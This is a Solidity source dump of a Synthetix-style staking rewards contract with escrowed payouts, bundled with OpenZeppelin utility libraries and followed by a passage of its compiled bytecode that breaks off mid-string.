(token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IStakingRewards.sol"; import "../interfaces/IRewardsEscrow.sol"; // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract Staking is IStakingRewards, Ownable, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; IRewardsEscrow public rewardsEscrow; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; // duration in seconds for rewards to be held in escrow uint256 public escrowDuration; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => bool) public rewardDistributors; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( IERC20 _rewardsToken, IERC20 _stakingToken, IRewardsEscrow _rewardsEscrow ) { rewardsToken = _rewardsToken; stakingToken = _stakingToken; rewardsEscrow = _rewardsEscrow; rewardDistributors[msg.sender] = true; _rewardsToken.safeIncreaseAllowance(address(_rewardsEscrow), type(uint256).max); } /* ========== VIEWS ========== */ function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return block.timestamp < periodFinish ? block.timestamp : periodFinish; } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external override nonReentrant whenNotPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; uint256 payout = reward / uint256(10); uint256 escrowed = payout * uint256(9); rewardsToken.safeTransfer(msg.sender, payout); rewardsEscrow.lock(msg.sender, escrowed, escrowDuration); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function setEscrowDuration(uint256 duration) external onlyOwner { emit EscrowDurationUpdated(escrowDuration, duration); escrowDuration = duration; } function notifyRewardAmount(uint256 reward) external override updateReward(address(0)) { require(rewardDistributors[msg.sender], "not authorized"); if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // handle the transfer of reward tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the reward amount IERC20(rewardsToken).safeTransferFrom(msg.sender, address(this), reward); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Modify approval for an address to call notifyRewardAmount function approveRewardDistributor(address _distributor, bool _approved) external onlyOwner { emit RewardDistributorUpdated(_distributor, _approved); rewardDistributors[_distributor] = _approved; } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); require(tokenAddress != address(rewardsToken), "Cannot withdraw the rewards token"); IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event EscrowDurationUpdated(uint256 _previousDuration, uint256 _newDuration); event Recovered(address token, uint256 amount); event RewardDistributorUpdated(address indexed distributor, bool approved); } // SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity >0.6.0; interface IRewardsEscrow { function lock( address _address, uint256 _amount, uint256 duration ) external; } // SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewards { // Views function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; function notifyRewardAmount(uint256 reward) external; }
0x608060405234801561001057600080fd5b50600436106101e45760003560e01c80637b0a47ee1161010f578063cc1a378f116100a2578063e9fad8ee11610071578063e9fad8ee14610377578063ebe2b12b1461037f578063f215793214610387578063f2fde38b1461038f576101e4565b8063cc1a378f1461034c578063cd3daf9d1461035f578063d1af0c7d14610367578063df136d651461036f576101e4565b80638da5cb5b116100de5780638da5cb5b14610316578063a694fc3a1461031e578063a9c12f0c14610331578063c8f33c9114610344576101e4565b80637b0a47ee146102e057806380faa57d146102e85780638980f11f146102f05780638b87634714610303576101e4565b80633c6b16ab116101875780635c975abb116101565780635c975abb1461029b57806370a08231146102b0578063715018a6146102c357806372f702f3146102cb576101e4565b80633c6b16ab146102655780633d18b9121461027857806356c909551461028057806357c2c2ba14610293576101e4565b80631c1f78eb116101c35780631c1f78eb1461022d5780632e1a7d4d14610235578063321bc3471461024a578063386a95251461025d576101e4565b80628cc262146101e95780630700037d1461021257806318160ddd14610225575b600080fd5b6101fc6101f736600461134a565b6103a2565b60405161020991906118c7565b60405180910390f35b6101fc61022036600461134a565b610422565b6101fc610434565b6101fc61043b565b6102486102433660046113df565b610459565b005b6102486102583660046113df565b6105a4565b6101fc610623565b6102486102733660046113df565b610629565b61024861085d565b61024861028e366004611364565b610a0c565b6101fc610ab7565b6102a3610abd565b60405161020991906114b7565b6101fc6102be36600461134a565b610ac6565b610248610ae1565b6102d3610b2c565b604051610209919061142b565b6101fc610b3b565b6101fc610b41565b6102486102fe36600461139a565b610b59565b6101fc61031136600461134a565b610c52565b6102d3610c64565b61024861032c3660046113df565b610c73565b6102a361033f36600461134a565b610dcb565b6101fc610de0565b61024861035a3660046113df565b610de6565b6101fc610e86565b6102d3610ed4565b6101fc610ee8565b610248610eee565b6101fc610f0f565b6102d3610f15565b61024861039d36600461134a565b610f24565b6001600160a01b0381166000908152600c6020908152604080832054600b90925282205461041a919061041490670de0b6b3a76400009061040e906103ef906103e9610e86565b906110c4565b6001600160a01b0388166000908152600f6020526040902054906110d0565b906110dc565b906110e8565b90505b919050565b600c6020526000908152604090205481565b600e545b90565b60006104546007546006546110d090919063ffffffff16565b905090565b600260015414156104855760405162461bcd60e51b815260040161047c9061180e565b60405180910390fd5b600260015533610493610e86565b60095561049e610b41565b6008556001600160a01b038116156104e5576104b9816103a2565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b600082116105055760405162461bcd60e51b815260040161047c906116d7565b600e5461051290836110c4565b600e55336000908152600f602052604090205461052f90836110c4565b336000818152600f602052604090209190915560035461055b916001600160a01b0390911690846110f4565b336001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d58360405161059491906118c7565b60405180910390a2505060018055565b6105ac611118565b6001600160a01b03166105bd610c64565b6001600160a01b0316146105e35760405162461bcd60e51b815260040161047c9061170e565b7f21c46a061cb9c101660f51f5c9fc9768c5f6e8cf5dea8ca5cd03cb6db13956f3600a54826040516106169291906118d0565b60405180910390a1600a55565b60075481565b6000610633610e86565b60095561063e610b41565b6008556001600160a01b0381161561068557610659816103a2565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b336000908152600d602052604090205460ff166106b45760405162461bcd60e51b815260040161047c906116a0565b60055442106106d3576007546106cb9083906110dc565b600655610716565b6005546000906106e390426110c4565b905060006106fc600654836110d090919063ffffffff16565b6007549091506107109061040e86846110e8565b60065550505b6002546107339061010090046001600160a01b031633308561111c565b6002546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009161010090046001600160a01b0316906370a082319061078290309060040161142b565b60206040518083038186803b15801561079a57600080fd5b505afa1580156107ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d291906113f7565b90506107e9600754826110dc90919063ffffffff16565b600654111561080a5760405162461bcd60e51b815260040161047c90611743565b42600881905560075461081d91906110e8565b6005556040517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d906108509085906118c7565b60405180910390a1505050565b600260015414156108805760405162461bcd60e51b815260040161047c9061180e565b60026001553361088e610e86565b600955610899610b41565b6008556001600160a01b038116156108e0576108b4816103a2565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b336000908152600c60205260409020548015610a0457336000908152600c60205260408120819055610913600a836118f6565b90506000610922600983611916565b6002549091506109419061010090046001600160a01b031633846110f4565b60048054600a546040517fe2ab691d0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169263e2ab691d9261098e923392879201611496565b600060405180830381600087803b1580156109a857600080fd5b505af11580156109bc573d6000803e3d6000fd5b50505050336001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486846040516109f991906118c7565b60405180910390a250505b505060018055565b610a14611118565b6001600160a01b0316610a25610c64565b6001600160a01b031614610a4b5760405162461bcd60e51b815260040161047c9061170e565b816001600160a01b03167fa852210219105cdf51ee9a33c11dd3d37ec6ea85e55ecff0b25dec123a05667a82604051610a8491906114b7565b60405180910390a26001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b600a5481565b60025460ff1690565b6001600160a01b03166000908152600f602052604090205490565b610ae9611118565b6001600160a01b0316610afa610c64565b6001600160a01b031614610b205760405162461bcd60e51b815260040161047c9061170e565b610b2a600061113d565b565b6003546001600160a01b031681565b60065481565b60006005544210610b5457600554610454565b504290565b610b61611118565b6001600160a01b0316610b72610c64565b6001600160a01b031614610b985760405162461bcd60e51b815260040161047c9061170e565b6003546001600160a01b0383811691161415610bc65760405162461bcd60e51b815260040161047c90611845565b6002546001600160a01b03838116610100909204161415610bf95760405162461bcd60e51b815260040161047c90611886565b610c15610c04610c64565b6001600160a01b03841690836110f4565b7f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa288282604051610c4692919061147d565b60405180910390a15050565b600b6020526000908152604090205481565b6000546001600160a01b031690565b60026001541415610c965760405162461bcd60e51b815260040161047c9061180e565b6002600155610ca3610abd565b15610cc05760405162461bcd60e51b815260040161047c90611669565b33610cc9610e86565b600955610cd4610b41565b6008556001600160a01b03811615610d1b57610cef816103a2565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b60008211610d3b5760405162461bcd60e51b815260040161047c906115d5565b600e54610d4890836110e8565b600e55336000908152600f6020526040902054610d6590836110e8565b336000818152600f6020526040902091909155600354610d92916001600160a01b0390911690308561111c565b336001600160a01b03167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d8360405161059491906118c7565b600d6020526000908152604090205460ff1681565b60085481565b610dee611118565b6001600160a01b0316610dff610c64565b6001600160a01b031614610e255760405162461bcd60e51b815260040161047c9061170e565b6005544211610e465760405162461bcd60e51b815260040161047c906114f5565b60078190556040517ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d390610e7b9083906118c7565b60405180910390a150565b6000600e5460001415610e9c5750600954610438565b610454610ecb600e5461040e670de0b6b3a7640000610ec5600654610ec56008546103e9610b41565b906110d0565b600954906110e8565b60025461010090046001600160a01b031681565b60095481565b336000908152600f6020526040902054610f0790610459565b610b2a61085d565b60055481565b6004546001600160a01b031681565b610f2c611118565b6001600160a01b0316610f3d610c64565b6001600160a01b031614610f635760405162461bcd60e51b815260040161047c9061170e565b6001600160a01b038116610f895760405162461bcd60e51b815260040161047c90611578565b610f928161113d565b50565b600081846001600160a01b031663dd62ed3e30866040518363ffffffff1660e01b8152600401610fc692919061143f565b60206040518083038186803b158015610fde57600080fd5b505afa158015610ff2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101691906113f7565b61102091906118de565b90506110a58463095ea7b360e01b858460405160240161104192919061147d565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526111a5565b50505050565b60606110ba8484600085611234565b90505b9392505050565b60006110bd8284611935565b60006110bd8284611916565b60006110bd82846118f6565b60006110bd82846118de565b6111138363a9059cbb60e01b848460405160240161104192919061147d565b505050565b3390565b6110a5846323b872dd60e01b85858560405160240161104193929190611459565b600080546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006111fa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166110ab9092919063ffffffff16565b805190915015611113578080602001905181019061121891906113c3565b6111135760405162461bcd60e51b815260040161047c906117b1565b6060824710156112565760405162461bcd60e51b815260040161047c9061160c565b61125f856112f4565b61127b5760405162461bcd60e51b815260040161047c9061177a565b600080866001600160a01b03168587604051611297919061140f565b60006040518083038185875af1925050503d80600081146112d4576040519150601f19603f3d011682016040523d82523d6000602084013e6112d9565b606091505b50915091506112e98282866112fa565b979650505050505050565b3b151590565b606083156113095750816110bd565b8251156113195782518084602001fd5b8160405162461bcd60e51b815260040161047c91906114c2565b80356001600160a01b038116811461041d57600080fd5b60006020828403121561135b578081fd5b6110bd82611333565b60008060408385031215611376578081fd5b61137f83611333565b9150602083013561138f8161198e565b809150509250929050565b600080604083850312156113ac578182fd5b6113b583611333565b946020939093013593505050565b6000602082840312156113d4578081fd5b81516110bd8161198e565b6000602082840312156113f0578081fd5b5035919050565b600060208284031215611408578081fd5b5051919050565b6000825161142181846020870161194c565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b60006020825282518060208401526114e181604085016020870161194c565b601f01601f19169190910160400192915050565b60208082526058908201527f50726576696f7573207265776172647320706572696f64206d7573742062652060408201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260608201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608082015260a00190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600e908201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60408201527f722063616c6c0000000000000000000000000000000000000000000000000000606082015260800190565b60208082526010908201527f5061757361626c653a2070617573656400000000000000000000000000000000604082015260600190565b6020808252600e908201527f6e6f7420617574686f72697a6564000000000000000000000000000000000000604082015260600190565b60208082526011908201527f43616e6e6f742077697468647261772030000000000000000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526018908201527f50726f76696465642072657761726420746f6f20686967680000000000000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526021908201527f43616e6e6f7420776974686472617720746865207374616b696e6720746f6b656040820152603760f91b606082015260800190565b60208082526021908201527f43616e6e6f74